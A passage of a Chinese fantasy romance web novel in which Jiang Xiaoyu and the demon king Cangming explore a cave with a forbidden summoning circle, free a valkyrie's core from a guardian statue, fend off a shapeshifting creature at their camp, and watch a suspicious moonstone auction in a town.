“不过……圣教的人在这又是布置威力巨大的圣光阵法,又是掩饰魔法痕迹的,很难不让人怀疑啊。”
沧溟又寻
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着痕迹往前走,江小鱼跟在他后面。
走着走着,周围的树木越来越密,光线也暗了下来。
江小鱼又忍不住看向沧溟的手,那道灼痕还在,泛着淡淡的白光,丝毫没有向好的迹象。
我就知道他在诓我,难道魔王再强大也抵不过属性克制?
走到某一处,沧溟忽然停了下来,江小鱼站定在沧溟旁边。
江小鱼抬头一看,前面没有路了,只有一面光秃秃的石壁。
周围也很空旷,没有树木和灌木,简直就是一片空地。
沧溟却径直朝着石壁走了过去,将手抵在石壁上。
“这石壁有问题?”
“嗯。”
沧溟手抵着石壁,嘴里念了几句咒语,紫色的光芒自他手底下迸发,石壁竟然消失了,取而代之的是一个幽黑深邃的洞穴。
“这也是圣教的手笔?”
“嗯。”
“藏这么隐蔽,一定不简单。”
沧溟打了个响指,一团紫红色的火焰冒出,围着沧溟绕了几圈。
随后,火焰飘在了前面带路,照亮了洞穴,沧溟和江小鱼跟在后面一起进入洞穴。
洞穴里又黑又静,偶尔有几滴滴水声在空旷的空间里回荡,洞穴里有风不断从耳边吹过,好像有人在耳边呼吸。
除此之外就只有两人的脚步声回荡在洞穴里。
这洞穴里该不会有什么奇奇怪怪的东西吧?什么可怕的魔兽啊、阴险的陷阱之类的?
江小鱼默默地往沧溟的方向又靠近了半步。
不对,旁边有魔王这条大腿,有什么可害怕的?更何况,这里可是魔族的地盘啊!
走了一段路,沧溟忽然停了下来:“有阵法。”
江小鱼立马停住脚步:“什么阵法?还是圣教的?不会又是陷阱吧?!”
被圣教害了一次,江小鱼有些应激。
“不是,这个不一样。”
“这个阵法更大,更显眼,图案看着有些杂乱,上面还摆着蜡烛还有血迹,看起来更像是禁忌魔法。”
“圣教还有禁忌魔法?用来干什么的?”
沧溟蹲下身,仔细查看阵法细节。
“这是种召唤类的禁忌魔法,通常需要付出较大的代价完成。”沧溟看着阵法上残留的大量血迹说道。
“召唤?召唤什么?莫非……”
江小鱼回应着沧溟的话,停下了在阵法旁转圈的脚步。
“莫非他们想通过这个阵法把我召唤过去?不对啊,我人一直在你身边,那就不是我。”
“那会是什么?”
沧溟沉声道:“恐怕他们没有真正放弃‘救世主’。”
江小鱼了然:“你的意思是……他们想再召唤一个‘救世主’出来?”
“嗯。”
江小鱼沉思道:“那你说,他们成功了吗?”
沧溟看着阵法上染了血迹的灰烬说道:“看样子是成功了,只不过……”
“不过什么?”
沧溟的嘴角上扬,一副饶有兴味的样子:“这位‘救世主’的气息有些熟悉。”
江小鱼满天问号:“???你认识?”
“谁知道呢。”
“……”
怎么还卖起关子来了?
江小鱼无语之际,忽然注意到在魔焰闪烁下,阵法中的灰烬中有一丝闪光。
他凑近阵法,小心翼翼地将表面的灰烬拂去,闪光下的真面目逐渐显露出来。
9. 你在意他?
是一块金属徽章,和之前云皎送给他的那块很像,上面沾着血迹,背面刻着一个“影”字。
身在圣教,信奉光明神,名字却叫做影吗?
江小鱼默默地把徽章收了起来。
【获得物品:染血的圣徽】
与“圣女的信物”同源
持有者已死亡,死因与禁忌召唤阵直接相关
线索已收录
这竟然是线索之一……
“咔。”
洞穴里忽然传来一声轻响,他僵住了。
“你听到了吗?”他小声问沧溟。
沧溟勾了勾嘴角:“没有。”
“可是我刚刚明明听见……”
“咔。”
又是一声。
江小鱼窜到了沧溟身后,紧紧攥着沧溟的袖子:“这下应该听见了吧?‘咔’的一声,这、这里不会有什么吧?”
沧溟看向祭坛的神像:“嗯,听见了。”
江小鱼随着沧溟的目光看过去,只见祭坛中的神像,正在往下掉碎石屑。
“应该没有地震吧?那为什么……”
没有地震,那只能是……石像自己在动?不会吧?
江小鱼看了眼沧溟,又极速看回石像:“你说,这石像是活的概率有多大?”
“1。”
“1%?”
“100%。”
“……”
喂喂,真的假的?
这时,神像忽然挥舞着剑向江小鱼他们砍来。
完了!
江小鱼下意识攥紧了沧溟的衣角。
沧溟立即抬手挡住,另一只手凝聚暗光,一掌拍在神像胸口。
神像被击得倒退两步,胸口裂开了一条小缝,缝里渗出了一丝白光,不超过一秒,那条缝就合上了。
神像又重新冲了过来,闪身一刺,沧溟侧身避开,抬起一条腿横扫,击中了神像的膝盖。
神像被迫单膝跪地,但很快又站起来,裂痕再次愈合。
沧溟捏了个诀,一击把石像持剑的胳膊打断,石像的胳膊和碎石又飘了起来,重新聚合在石像身上,连带着剑也一起回到了石像手中。
江小鱼吐槽道:“我去,自愈能力这么强?!这不开挂吗?打不死怎么办?”
神像的攻击非常密集,自愈能力也很高,沧溟和神像打得有来有回。
沧溟目前看着还游刃有余,可石像是不会死不会累的。
江小鱼逐渐冷静下来观察思考。
不可能有那么无敌的机制,既然存在,总该有什么破绽。
等一下,神像自愈的速度……好像变慢了!
每一次自愈之后,下一次自愈所需要的时间都要比之前更久!
第一次自愈,几乎是立刻就恢复了,而现在,至少需要五秒的缓冲时间。
可是……总不能比谁先累死吧?打消耗战不是上策,那有什么办法可以对付它?
啊,沧溟击中它胸口时露出的白光,有蹊跷。
石像应该不能闲到往自己身体里按个LED灯。
江小鱼正想着,脑海里突然响起一个声音。
“它的弱点就在胸口。”
“谁?”
“你不需要知道我是谁,只需要知道我能给你提供帮助。”
“好的,请讲。”
“核心在它的胸口,核心不碎,石像就能无限复原,但核心只能由非魔族触碰。圣教设下这个封印时,防的就是魔族。”
“那看起来,是需要我去?”
“是。但你的身体素质太差,靠近核心会被震开。”
“……那怎么办?”
这个声音沉默了一瞬:“你身上那个盾,或许可以一试。”
盾?对了,走之前蒂拉送给了他一个盾,可以挡三次攻击,这就够了。
江小鱼将盾掏了出来,护盾瞬间展开,淡蓝色的光罩住了他全身。
江小鱼举着护盾,盯着石像的核心,朝着他们靠近。
沧溟余光注意到了江小鱼的动作,改变了攻击节奏。
他的每一击都落在了石像的胸口处,又快又密。
石像被逼的连连后退,胸口白色的光越来越亮,愈合速度越来越慢。
直到石像的核心被最大限度地裸露出来,而石像也还没来得及愈合。
就在这一刻,沧溟用龙尾卷起早已蓄势待发的江小鱼,把他往石像的方向送去。
“砰!”
护盾挡住了第一击,江小鱼伸出手,在即将触碰到核心的那一刻,手被震得猛的弹开。
护盾挡住了第二击,江小鱼咬着牙再次伸出手,刚一触碰到核心又被弹开。
不好,石像的胸口要愈合了。
第三击,护盾碎了,石像的剑朝他挥了下来。
情急之中,江小鱼按到了护盾的一个按钮,一道细小的微光从盾牌中心射出,正中石像核心。
“咔嚓。”
核心裂开了许多纹路,几近破碎,石像停止了挥剑的动作。
下一秒,整个石像四分五裂,变成了石像碎块,没有再愈合。
一颗闪着白光的带着裂纹的核心掉落在地上。
江小鱼瘫坐在地上,喘着粗气。
他确认石像不会再动之后,小心翼翼地将核心从碎石堆里捡了起来。
“这就是核心?”
他将核心放在手中打量。
除了泛着白光,长得好看了点,好像也没什么特别。
“你做到了。”那个声音在小鱼脑海中说道。
“现在总该交代一下你是谁了吧?”
那个声音沉默了一会。
“喂,你别装死啊?”
沧溟走过来将小鱼拉起:“你在跟谁说话?”
江小鱼顿了顿:“是刚刚出现在我脑海中的声音,也是它提示了我去触碰石像的核心。”
沧溟皱了皱眉,没再说什么。
那个声音忽然又响起:“我叫薇尔蒂丝,你可以叫我薇尔。”
“我是瓦尔基里之一,在神域与魔域大战时陨落,残存的意识被封印于此。”
江小鱼:“神域魔域大战?什么时候的事?”
薇尔:“记不清了,大概是一千多年前。”
江小鱼:“你为什么会被封印在这?”
薇尔:“不记得了,除了我刚才说的这些,其他的我都没有印象。”
沧溟沉声道:“薇尔……”
江小鱼看向沧溟:“你认识她?”
沧溟:“听说过。”
江小鱼眼睛一亮,盯着沧溟,期待着他能多说点什么。
沧溟沉默一瞬,继续说道:“一千多年前,神域与魔域大战,我那时还不是魔王。”
“听说当时神域有一位骁勇善战的女武神,叫薇尔。”
“然后呢?”
“没了。”
“…
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…”
气氛诡异地沉默了一会儿。
江小鱼忽然指着散落的神像碎块问道:“对了,薇尔,那那个神像是……?”
薇尔:“那是圣教给我塑的,我想,我被封印的事情应该和圣教有关。”
江小鱼:“那神像碎了,没关系吗?”
薇尔:“没事,相比被封印控制,一具石像而已。只要把核心养好,我自会重新化形。”
江小鱼看向圣教禁忌阵法的方向:“提起圣教……薇尔,你知道圣教在这里做过什么吗?”
薇尔:“我看到,一位圣教徒来到这个洞穴,布置了圣教禁忌阵法,以血为祭,试图召唤什么。”
江小鱼:“那他召唤出了什么?为什么会死?”
薇尔:“我不认识,但召唤出的那个人气场非常强大,四周都弥漫着危险的气息,让人不寒而栗。”
“关于那个人为什么会死……我只见那人看了圣教徒一眼,那圣教徒便七窍流血化为灰烬了。”
江小鱼:“这么玄乎?那召唤出的那个人绝对称不上是‘救世主’了,搞不好性质还是相反的。”
江小鱼:“薇尔,你刚才说,要把核心养好你才会恢复,那养核心的条件是什么?”
薇尔:“我的力量来源于被守护者的信念,你身上的情感波动,就是我的养分。”
江小鱼:“啊?”
薇尔语气平静:“你的每一次紧张、感动、害怕、兴奋,包括在意、牵挂、心动,都是力量。”
“……”
“你这和在我身上装监控了有什么区别?”
薇尔疑惑:“监控?”
江小鱼:“没什么。”
江小鱼下意识看了沧溟一眼,后者正在查看手上的伤,没注意这边,好像对他们讨论的话题不太感兴趣。
薇尔:“你在意他?”
?!!!
“没、没有!”
薇尔没有再说什么。
江小鱼:“那个,薇尔,或许……有没有什么能加速养成核心的办法?”
薇尔:“有,需要光明属性的材料,如月光石、圣泉水、龙鳞粉末,只是这些东西比较历史悠久,大都在远古时期才有。”
江小鱼嘴角抽了抽:“听起来就很不好搞。”
“不急,”薇尔顿了顿,“核心会自行缓慢恢复,只是需要时间,那些材料可以慢慢找。”
江小鱼松了口气,又有点发愁:“那得找到什么时候……”
薇尔忽然说:“你身边那位,有龙的气息。”
“可他是魔族,使用的是暗魔法啊,你需要的不是光明属性的材料吗?而且,龙族的行踪更是找之又少。”
薇尔:“是,所以我说,不急。”
江小鱼撇了撇嘴:“那先这样吧,核心我先收起来了,你慢慢养。”
【获得物品:女武神的核心】
女武神薇尔的一缕意识化身,被封印于石像中,现已苏醒
状态:虚弱。核心需收集光明材料及情感养料缓慢恢复
对了,暗影苔藓长在洞穴深处,这样说不定会有,去碰碰运气?
江小鱼看向沧溟:“我们去洞穴深处看看?”
沧溟:“嗯。”
两人往洞穴深处走去,越往里走,洞穴越昏暗。
江小鱼忽然注意到某一处。
“那是?!”
沧溟顺着他的目光看去,眉头微皱。
10. 外面有点冷
有大量的紫黑色苔藓长在洞穴壁上。
“是暗影苔藓!”
江小鱼激动地跑过去揪暗影苔藓。
好巧!竟然恰好就在这个洞穴,真是踏破铁鞋无觅处,得来全不费工夫啊!
沧溟跟在他身后看着他激动地揪苔藓。
“你为什么会知道这是暗影苔藓?”
“你找暗影苔藓做什么?”
江小鱼揪苔藓的动作一僵。
怎么办,我总不能告诉他,我问的系统吧?
“呃……那个,是薇尔告诉我的,她说暗影苔藓可以治你手上的伤,所以……”
沧溟抬手看了看伤,灼痕虽然浅了些,但是还没有愈合。
他又看了看继续揪苔藓的江小鱼。
原来,他一直放在心上。
江小鱼把揪下来的苔藓捧在手心里,凑近沧溟:“可是,这要怎么用啊?”
沧溟还没开口,江小鱼就端着苔藓到了别处,半蹲在角落,拿了块石头开始砸苔藓。
过了一会,江小鱼捧着砸好的苔藓泥回来找沧溟。
江小鱼朝着沧溟抬了抬下巴:“手伸出来。”
沧溟缓缓抬起手,将手背露给江小鱼。
江小鱼将苔藓泥一点一点均匀地涂抹在沧溟受伤的手背上。
涂完了之后,似乎很满意自己的杰作,轻快地点点头。
“大功告成!”
沧溟看着自己手背上铺满了苔藓泥,毫无艺术成分可言的“杰作”,轻笑了一声。
江小鱼撇了撇嘴:“干什么?我给人亲自敷药哎,百年难得一遇好吧?要珍惜懂不懂?”
沧溟:“嗯。”
嘴角依旧难掩笑意。
江小鱼:“好了,这里也没什么事了,我们走吧。”
“嗯。”
两个人一起往洞穴外走去。
刚一出洞穴,江小鱼就停住了脚步。
“嘶……我的眼睛!”
有种好久没有见过外面的太阳的感觉,好刺眼。
江小鱼抬起手虚掩住自己的眼睛,露出一条缝看沧溟。
沧溟走在江小鱼前面,为他挡住了些太阳。
沧溟:“明明我是魔族,你怎么看起来比我更怕光?”
江小鱼:“任谁突然被太阳光这么一晃都得被刺痛眼睛。”
“这个不重要,问题是我们现在去哪儿?”
沧溟:“去找月光石。”
江小鱼:“月光石?你知道它在哪儿?不对,你听见了?”
沧溟:“长着耳朵很难听不见。”
江小鱼忽然低下头。
他不会还听到薇尔问的那句了吧?补药啊……
过了一会,江小鱼抬起头,忍不住问:“你说,那个被圣教召唤来的东西……会去哪儿?”
沧溟:“不知道,不过……那么久没被放出来过,可能去适应了吧。”
“唯一能肯定的一点就是,它一定不会放过把它召唤出来的那个人。”
江小鱼疑惑道:“可是那个圣教徒不是已经死了吗?”
沧溟平静道:“是他背后的人。”
说的也是,这事情恐怕没那么简单。
正走着,江小鱼发现附近的岩石后面飘着好几团毛球。
那是什么?石头上还长蒲公英吗?
江小鱼好奇地凑近岩石,观察这些毛球。
他发现,这些毛球有纯白色的,也有浅黄色的,没有眼睛鼻子嘴巴,远看还真像蒲公英。
毛球们在岩石附近漂浮着,江小鱼靠近时,先是炸毛,然后就都缩成一团趴在岩石上装死。
江小鱼噗嗤一声笑出声。
太可爱了这些小家伙们。
江小鱼伸出手摸了摸这些小毛球,手感毛茸茸、软乎乎的,像是棉花糖。
小毛球被摸时,还会发出“噗噗”的轻响,像是在小声抗议。
江小鱼一边疯狂揉毛球,一边感叹道:“这到底是什么?这也太萌了!软乎乎的,手感好好!”
沧溟看向江小鱼:“浮游绒球,魔族北境特有的浮游生物。”
江小鱼:“浮游绒球?好正式的名字,不如叫噗噗。”
江小鱼一边摸着绒球一边对绒球说:“我叫你们噗噗好不好?”
小绒球上下漂浮着,转着圈,发出“噗噗”声。
江小鱼得意地看向沧溟:“你看,它们也很喜欢这个称呼。”
沧溟笑了笑。
江小鱼又摸了一会后,依依不舍地离开岩石和小绒球。
江小鱼挥了挥手:“下次见,噗噗们。”
沧溟:“舍不得?”
江小鱼:“舍不得。”
沧溟:“你喜欢的话,带几只回魔宫玩?”
江小鱼:“不用,离得又不远,想见还可以出来见啊。”
沧溟:“嗯。”
他们离开了岩石和可爱的绒球们,继续踏上了路程。
太阳快要落山了,天色逐渐变暗。
江小鱼问沧溟:“我突然想到一个非常严肃的问题。”
沧溟:“嗯?”
江小鱼:“我们晚上住哪儿?”
沧溟停下了脚步:“就这里。”
江小鱼四处看了看,这里是一片平坦的空地,远处有一条小溪。
沧溟摩梭了几下手指上的戒指,使用魔力勾勒法阵,一座行宫即将展开。
沧溟忽然皱了皱眉,收起了法阵。
江小鱼:“怎么了?”
“这片地的魔力脉络不稳定,强行展开会使行宫的结构扭曲。”
“上次发生这种事,我的书房倒悬在了天花板上。”
江小鱼没忍住噗嗤一声笑出声:“没事,我觉得这里还挺适合扎营的。”
沧溟沉默片刻,从戒指里取出一个……看起来相当朴素的单人帐篷。
沧溟的眉皱得更紧了,他走过去掀开帐篷看了一眼,然后回头看小鱼。
“一个。”他说。
江小鱼:“什么一个?”
“帐篷,”沧溟语气很淡,“只有一个。”
江小鱼愣了两秒,反应过来之后耳朵有点泛红。
一、一个?那怎么睡?
江小鱼:“那个……我去找点柴回来。”
小鱼说完就直接迅速地转身跑到林子里找柴了。
过了一会,江小鱼抱着一捆柴回了营地,他把柴放下,转身去了小溪边。
沧溟:“去哪儿。”
江小鱼回头冲他一笑:“打猎。”
江小鱼蹲在小溪边,盯着水里的鱼。
那鱼圆滚滚的,鳞片灰扑扑的,嘴巴向下弯,看起来一脸不高兴。
“这鱼……能好吃吗?”他小声嘀咕。
江小鱼打算试试,他撸起袖子,伸手去捞。
鱼尾巴一甩,溅了他一脸水。
江小鱼抹了把脸:“你脾气还挺大!”
他瞅准时机,两手一合,终于抓住一条。
鱼在他手里疯狂扭动,鱼鳍上的幽蓝色光芒一闪一闪的,像在骂人。
“行了行了,对不住了。”
江小鱼胳膊一甩,将它扔上岸,又盯着水里的另一种鱼。
这种鱼通体透明,能看见它的骨架和内脏,在水里游得很丝滑,很难捕捉到它的身影,江小鱼尝试了好几次都没有成功。
江小鱼触碰到透明鱼就好像碰到了丝滑的丝绸,刚一
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碰到就从手里滑走了。
江小鱼有些懊恼的站在水里:“我就不信了!”
沧溟走过来看了眼江小鱼的战绩,又看向还在水里奋战的江小鱼。
“用得着这么麻烦?”
沧溟手往水的方向一指,魔法阵在水里发光,随即炸开。
魔法阵里的鱼被这一炸,全都被炸上了岸。
“……”
“有魔法就是方便。”
江小鱼和沧溟一起把这些鱼带回了营地。
天色已经黑了,他们将鱼简单处理好,串上了树枝,放在了篝火旁边烤。
鱼皮烤得焦脆,外酥里嫩,香飘四溢。
江小鱼咬了一口,有点不确定,又咬了一口。
“好吃!”他眼睛都亮了,“这鱼看着丑,怎么这么好吃!”
“你快尝尝看!”
沧溟接过他递过来的烤鱼,咬了一口:“嗯,还行。”
江小鱼又拿起一串透明鱼,外表烤得有些焦黄,整体还是晶莹剔透的感觉。
他咬了一口,口感有些像果冻,软乎乎的,入口即化,还带着些鱼的鲜香。
“这个也好吃!怎么会有如此美味的鱼!”
沧溟看着江小鱼吃得津津有味的样子,笑了笑。
篝火跳动的光印在两个人脸上。
江小鱼把最后一口鱼咽了下去,满足地叹了口气:“这鱼真是绝了,回去之后跟小夜说说,他肯定羡慕地不得了。”
沧溟没说话,只是看着火堆。
沉默了一会,江小鱼开口:“那个……我们明天往哪个方向走?”
“东边,”沧溟说,“精灵族旧地。”
“精灵族啊,”江小鱼想起以前在游戏里见过的精灵,都有着尖尖的耳朵,性格高冷,长相精致漂亮,射箭又准又快,“他们好相处吗?”
沧溟看了他一眼:“不好。”
江小鱼:“……”
“那我们该不会要去偷吧?”他小声问。
沧溟:“不用。”
江小鱼等着他解释,但沧溟没再说话。
不用偷的,该不会要明抢吧?这不好吧?还是有什么别的办法?
风从溪边吹来,带着些水汽,江小鱼缩了缩脖子,忽然想起一件事:“对了,帐篷……只有一个?”
沧溟“嗯”了一声。
小鱼耳朵有点热:“那……你睡哪儿?”
沧溟看了他一眼,没有回答。
江小鱼赶紧说:“你睡里面吧,我睡外面就行,反正我有毯子——”
“你睡里面。”沧溟打断了他,声音没什么起伏,但也没什么商量的余地。
“哦……”
他站起来,假装很自然地往帐篷里走,心跳却快得像打鼓。
掀开帐篷帘子,他愣了一下,里面铺了一层软垫,还有一条厚毯子,旁边放着一盏灯,准备的还挺齐全。
他钻了进去,躺在一边,毯子盖到下巴。
帐篷外,篝火还在烧,沧溟的影子印在了帐篷帘上。
过了一会,不知道外面发生了什么响动,沧溟的影子一瞬间消失了。
??
江小鱼坐起身,盯着帐篷帘子:“沧溟,你、你还在吗?”
没有人回应。
江小鱼还在犹豫该怎么办时,帐篷帘子忽然被掀了起来。
!!!
是……沧溟?!
江小鱼:“你刚才去哪了?你、你怎么进来了?”
沧溟没有说话,静静地躺在了江小鱼旁边,然后……用胳膊把江小鱼圈在怀里。
“外面,有点冷。”
??????
等、等一下,这不对吧?
11. 被觅食了
江小鱼闭着眼,僵住了没敢动,脑子里乱七八糟的。
“那个……你冷的话,或许我可以多给你一条毯子?”
沧溟松开了他,江小鱼以为沧溟同意了,刚松一口气。
下一秒,沧溟翻身撑在小鱼上方。
沧溟的手按住他的手腕,固定在他的头顶,另一只手撑在他耳边,缓缓低下头。
灼热的呼吸落在他的耳侧,声音低低的,带着一点笑意:“不够……”
江小鱼的耳朵发烫:“你……你……那你想干嘛?”
沧溟没有说话,只是低下头,鼻尖蹭过他的耳廓。
江小鱼偏过头,手腕动了动,没能挣开。
“别、别闹……”
沧溟的呼吸拂过他的脖颈,一点点往下。
“不喜欢?”
江小鱼红着脸,轻咬着下唇。
也不是不喜欢,但是这也……
等一下,这不对劲,十分有九分的不对劲!
沧溟不会这样,不会用这种语气说话。
“你刚才……在外面发生什么了?”
沧溟没有回答他的话,把脸埋进了他的颈窝,轻轻地蹭了一下。
江小鱼缩了缩脖子:“痒……”
小鱼的心跳地很快,但脑子逐渐清醒了些。
这不是沧溟。
他手腕猛地用力,想要挣开。
沧溟按着江小鱼的手收的更紧了,拇指轻轻地摩挲着他的手腕。
“别动。”
江小鱼出了一身冷汗,正想要喊,帐篷的帘子忽然被人从外面掀开。
江小鱼看见真正的沧溟站在外面,他正面无表情地看着帐篷里的“自己”。
沧溟又看了一眼偏着头,红着眼眶,用眼神向他求助的江小鱼,眉头微皱。
压着他的“沧溟”僵了一瞬,缓缓回过头,对上了真沧溟的目光。
那双红眸看起来冰冷又锋利,多看一秒都能把人直接刺穿。
下一秒,沧溟抬手一挥,一道暗光掠过。
“沧溟”浑身一颤,变回一只巴掌大的,毛茸茸的小东西,“嗖”地从帐篷的缝隙中窜了出去,瞬间消失在夜色里。
帐篷里安静得仿佛只能听见两个人的心跳声。
江小鱼还维持着被按住的姿势,手腕上的触感还没消。
他张了张嘴:“那个……我……”
沧溟弯腰进来,在他旁边坐下。
江小鱼心里慌得要命,又尴尬又无措。
“它就是刚才进来的,”他解释道,“我以为是你,啊,不是,我是说——”
沧溟忽然抓住了他的手腕,把他往自己跟前一带,另一只手扣住了他的腰。
两个人之间的距离瞬间消失,江小鱼抬起头,对上了他的那双红眸,近得能看见沧溟眼中自己的倒影。
“你喜欢这样的?”
江小鱼张了张嘴,一个字都说不出来。
这时,核心忽然一闪一闪地泛起了白光。
“……”
沧溟依然盯着他的眼睛看着他。
几秒之后,沧溟松开了手,站起身,走出了帐篷。
江小鱼愣在原地。
他这是……什么意思?
什么喜不喜欢?
他为什么要这么问?
江小鱼抱着膝盖坐了很久。
帐篷外什么动静都没有,他不知道沧溟在外面做什么,也不敢出去看。
过了很久,他才慢慢躺下,将毯子裹紧。
沧溟的影子印在帐篷的帘子上,影影绰绰。
江小鱼闭着眼睛,脑子里乱成一团,一直在想刚才发生的事。
那个假沧溟到底是什么情况?为什么要做这种事?还有沧溟他为什么……
啊——不想了不想了,想也想不明白,什么事都没有睡觉重要,睡觉!
第二天,江小鱼醒了,掀开帐篷探头看,沧溟正站在溪边,不知道在看什么。
江小鱼挠了挠头,正犹豫要不要说点什么。
“那个——”
沧溟:“醒了?”
江小鱼:“嗯。”
沧溟:“那就走吧。”
沧溟说完,摩梭了下戒指,帐篷瞬间收了回去。
江小鱼迅速地在溪边洗了把脸,然后跟了上去。
两个人并肩走着,谁也没有说话,就这么沉默着走了一段路。
最后,江小鱼还是忍不住好奇,下定决心问他:“沧溟,那个……昨天晚上,那个毛茸茸的,到底是……?”
沧溟:“幻形兽。”
沧溟看了眼江小鱼,明显后者仍然一头雾水,继续解释道:“会幻化成……认识的人,具有魅惑性。”
江小鱼更疑惑了:“啊?”
“这我可以理解,但它这么做对它有什么好处?”
沧溟:“幻形兽以欲为本性,以情感为食,它会……做出你所期待的事,其中产生的情感就是它的食物。”
“……”
感情……这是被觅食了呗,但是总有一种被耍了的感觉。
等一下,会做出我期待的事?不会是我想的那个意思吧?
我想让沧溟对我做这些事?怎么可能?!
江小鱼的脸和耳朵都变得烫烫的。
又是致幻果,又是幻形兽,感觉自己好像被针对了怎么办?
怎么都冲他一个人来啊?!
江小鱼正在尴尬无措和脸红心跳以及感到不可置信当中挣扎时,忽然感觉到有一滴水滴在了自己脸上。
?
还没等下一滴滴下来,沧溟抬了抬手指,一个暗色屏障罩住了两人,隔开了雨滴。
江小鱼又一次感叹:有魔法就是方便!
两个人继续往东走赶路,看见有一个商队正在一个洞穴里避雨,他们带着的车里拉着矿。
本来两个人没有在意,想继续赶路,却意外听到商队中有人说话,定住了两人的脚步。
“你听说了吗?”
“什么?”
“霜石镇竟然有月光石在市面上流通了!”
“真的假的?那可是百年难得一遇的月光石啊!”
“当然是真的,听说有人亲眼看到了有人在卖月光石。”
“你这消息靠不靠谱啊?”
“这可是从霜石镇大人物那里流传出来的,你说真的假的。”
……
江小鱼听了这段对话,全然没有刚才的复杂情绪,一脸兴奋地看向沧溟。
江小鱼:“是月光石哎!他们在讨论月光石!怎么样?要不要去看看?”
“如果他们说的是真的,那真是得
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来全不费工夫了,还能少走很长一段路呢!”
沧溟看着江小鱼,沉默了一会儿。
江小鱼被他看得有点心虚:“怎、怎么了?”
沧溟收回目光,往镇子的方向走去:“没什么,去看看。”
江小鱼赶紧跟了上去。
他一边走一边念叨:“月光石……百年难得一遇……你说,他们说的是真的还是假的?”
沧溟没有说话。
江小鱼:“万一他们说的是真的呢?那我们就不用去精灵族那边了,直接买下来,多省事。”
沧溟看他:“你有钱?”
江小鱼一愣,心虚地摸了摸口袋,他确实没钱。
“那个……你不是有钱吗?就当我借的,以后还你。”
沧溟:“嗯。”
“嗯”是同意了?
傍晚时分,两人到了霜石镇。
镇子不算很大,但是很热闹。街道两旁摆满了摊子,卖矿石的、卖皮革的、卖小吃的、卖稀奇古怪魔法小物件的,什么都有。
江小鱼感到新奇,这里看看,那里看看:“这里还挺热闹。”
沧溟走在他旁边,表情还是淡淡的,看不出在想什么。
一个兽人大汉扛着一大筐矿石从他们身边走过,差点撞到江小鱼。
沧溟伸手挡了一下,兽人酿跄了一下,看了江小鱼一眼,刚想发作,被沧溟瞪了回去,兽人感受到一股压迫感,悻悻离开了。
江小鱼看向沧溟:“他认出你了?”
沧溟:“不知道。”
魔王就是有威压,光是站在这,谁看了不心虚?
江小鱼在一个小摊前停了下来,盯着一个玻璃罐子看。
里面装着黑色的圆形糖球,表面附着一层糖霜,上面飘着一层淡淡的烟雾。
“这是什么?”
这个小摊的商贩是个魔族老婆婆,听见江小鱼的疑问,咧嘴一笑:“这是影莓糖,魔族小孩可爱吃了,甜丝丝的,含在嘴里还会冒烟呢,好玩得很。”
江小鱼眼睛一亮,买了两颗。
他往嘴里含了一颗,然后对着沧溟轻轻吐了口气,一缕白烟从他嘴里飘了出来,在空气中慢慢散开。
小鱼又吐了一口,这次眼圈飘到沧溟面前才散掉。
江小鱼:“你要不要试试?”
沧溟看了他一眼,没有接。
江小鱼把另一颗递到他嘴边:“尝一个嘛。”
沧溟张了嘴,就着他的手,把糖咬走了。
他的嘴唇碰到江小鱼指尖的时候,两个人不约而同地顿了一下。
江小鱼赶紧缩回了手,看向了别的小摊。
沧溟含着糖,过了一会,一缕极淡的烟从他的嘴角飘了出来。
江小鱼看见了,嘴角翘了翘。
接着,沧溟凑了过来,和小鱼的脸贴得很近,两个人的嘴隔着一个手指的距离。
又一缕烟从沧溟的嘴里飘出,这次从沧溟嘴里飘出的烟,都拂到了江小鱼的唇上。
江小鱼愣住了,人都是懵的,看着沧溟的脸,动都忘记了动。
直到沧溟已经走在了前面,回头看他。
他才意识到刚才发生了什么,脸迅速地泛起了红晕,小步跟了上去。
这人……怎么净是做些让人头脑发昏、理解不了的事情……
12. 好悬骗过我
江小鱼跟着沧溟一起在街道上走着。
他在一家杂货铺前停了下来,问老板:“老板,听说镇上有月光石卖,是真的吗?”
老板打量了他一眼:“你们也是来凑热闹的?就在镇子中心的那家商铺,这几天可多人来问了!不过嘛——”
他压低了声音:“那石头看着是好,但价钱嘛……嘿嘿。”
江小鱼:“价钱是天价?”
老板:“这我可没说,反正我们这些做小本生意的,碰都不碰那玩意儿。”
江小鱼谢过老板,回头看沧溟,冲着他挤眉弄眼的。
沧溟点了点头,转过身示意江小鱼跟上。
两个人一起到了据说卖月光石的镇子中心的那家商铺。
有好大一群人都挤在了商铺外围,江小鱼踮起脚尖去看,在这群人外边绕来绕去、探头探脑的,什么也看不见,只听到商铺老板在里头吆喝。
“月光石!月光石!百年难得一遇的月光石!走过路过千万不要错过!”
江小鱼拼命往里挤,前面的人压根纹丝不动!
他被夹在中间,就像一块被挤压的肉饼。
沧溟抱着手臂站在外面看着他。
江小鱼回头看他,沧溟的表情淡淡的,一副事不关己的样子,好像在说“是你自己要来的”。
老板又讲话了:“各位!这批月光石只有三块!先到先得!卖完就没有了!”
人群一阵骚动。
里面有人问:“老板,这月光石要多少钱啊?”
老板卖了个关子:“不急,先让大家看看成色。”
又有人问:“你这石头真的假的?那月光石可是稀罕物,哪来这么多?”
老板:“这位贵客问得好,这月光石当然是真的了。”
“这真正的月光石啊,有三点特征!”老板从一个匣子里取出一块白色的石头托在手心。
“第一,它能在满月之夜自行变红,这是其他会发光的石头做不到的。”
有人质疑:“现在又不是满月之夜,怎么证明?”
老板不急不慢:“第二,将它放在月光下,它会吸收月华,表面会出现细密的纹路,就像树的年轮一样。”
他掏出一面小镜子,对着那石头照了照:“我用魔法模拟月光,各位请看。”
石头表面果然浮现出细密的纹路,围观的人忍不住发出一声惊叹。
江小鱼眯了眯眼。
“第三,”老板继续说,“真正的月光石,会对精灵族的魔力有共鸣反应,注入精灵魔力,会有特殊功效。”
“但我们这里没有精灵族啊!”人群中有人喊。
老板笑了笑:“所以我说,这真正的月光石,可不是一般人能鉴别的。”
江小鱼探头努力看了看那块月光石,心里已经有所怀疑。
简直是虚张声势,老板一直在打太极,这月光石多半不是真的。
他压低声音问沧溟:“你觉得那是真的吗?”
沧溟挑了下眉,没有说话。
懂了。
他还想看看这老板还想怎么演。
老板依然在兴高采烈地解说这块月光石。
“这月光石啊,依它的稀有程度,我们采用拍卖的形式售出,底价五千金币,价高者得!”
江小鱼:“我去,这价钱,跟直接往我兜里明抢有什么区别?!”
老板:“哎——话不能这么说,物以稀为贵嘛。”
人群中开始有人报价:“我出五千五!”
“六千五!”
“七千!”
“八千!”
江小鱼注意到,在人群里喊价的就那么几个人,轮流抬价。
其他人只是在围观看热闹,有的在聊天,有的在嗑瓜子,显然对买下这块月光石压根没有兴趣。
